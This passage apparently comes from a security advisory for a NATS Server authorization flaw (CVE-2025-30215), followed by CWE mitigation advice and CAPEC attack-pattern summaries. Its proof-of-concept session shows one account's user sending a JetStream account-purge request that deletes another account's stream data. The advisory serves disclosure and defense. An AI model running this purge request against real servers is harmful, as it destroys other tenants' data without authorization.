\u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\n$ nats -s nats://localhost:4233 --user b --password b stream ls\nNo Streams defined\n\n$ du -h tmp/jetstream\n 0B\ttmp/jetstream/TEST/streams/stream1/obs\n8.0K\ttmp/jetstream/TEST/streams/stream1/msgs\n 16K\ttmp/jetstream/TEST/streams/stream1\n 16K\ttmp/jetstream/TEST/streams\n 16K\ttmp/jetstream/TEST\n 16K\ttmp/jetstream\n\n# User b (account TEST2) sends a PURGE command for account TEST (user a).\n# According to the source comments, user b shouldn\u0027t even be able to purge it\u0027s own account, much less another one.\n$ nats -s nats://localhost:4233 --user b --password b request \u0027$JS.API.ACCOUNT.PURGE.TEST\u0027 \u0027\u0027\n11:54:50 Sending request on \"$JS.API.ACCOUNT.PURGE.TEST\"\n11:54:50 Received with rtt 1.528042ms\n{\"type\":\"io.nats.jetstream.api.v1.account_purge_response\",\"initiated\":true}\n\n# From nats-server in response to the purge request:\n[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)\n\n# And indeed, the stream data is gone on account TEST:\n$ du -h tmp/jetstream\n 0B\ttmp/jetstream\n\n$ nats -s nats://localhost:4233 --user a --password a stream ls\nNo Streams defined\n\n```",
"id": "GHSA-fhg8-qxh5-7q3w",
"modified": "2026-06-05T21:36:07Z",
"published": "2025-04-15T21:45:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-fhg8-qxh5-7q3w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30215"
},
{
"type": "WEB",
"url": "https://github.com/nats-io/nats-server/commit/3e7e4645a24e829a36b4210f2d7c34dea7f7a424"
},
{
"type": "WEB",
"url": "https://advisories.nats.io/CVE/secnote-2025-01.txt"
},
{
"type": "PACKAGE",
"url": "https://github.com/nats-io/nats-server"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GO-2025-3600"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/04/08/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NATS Server may fail to authorize certain Jetstream admin APIs"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.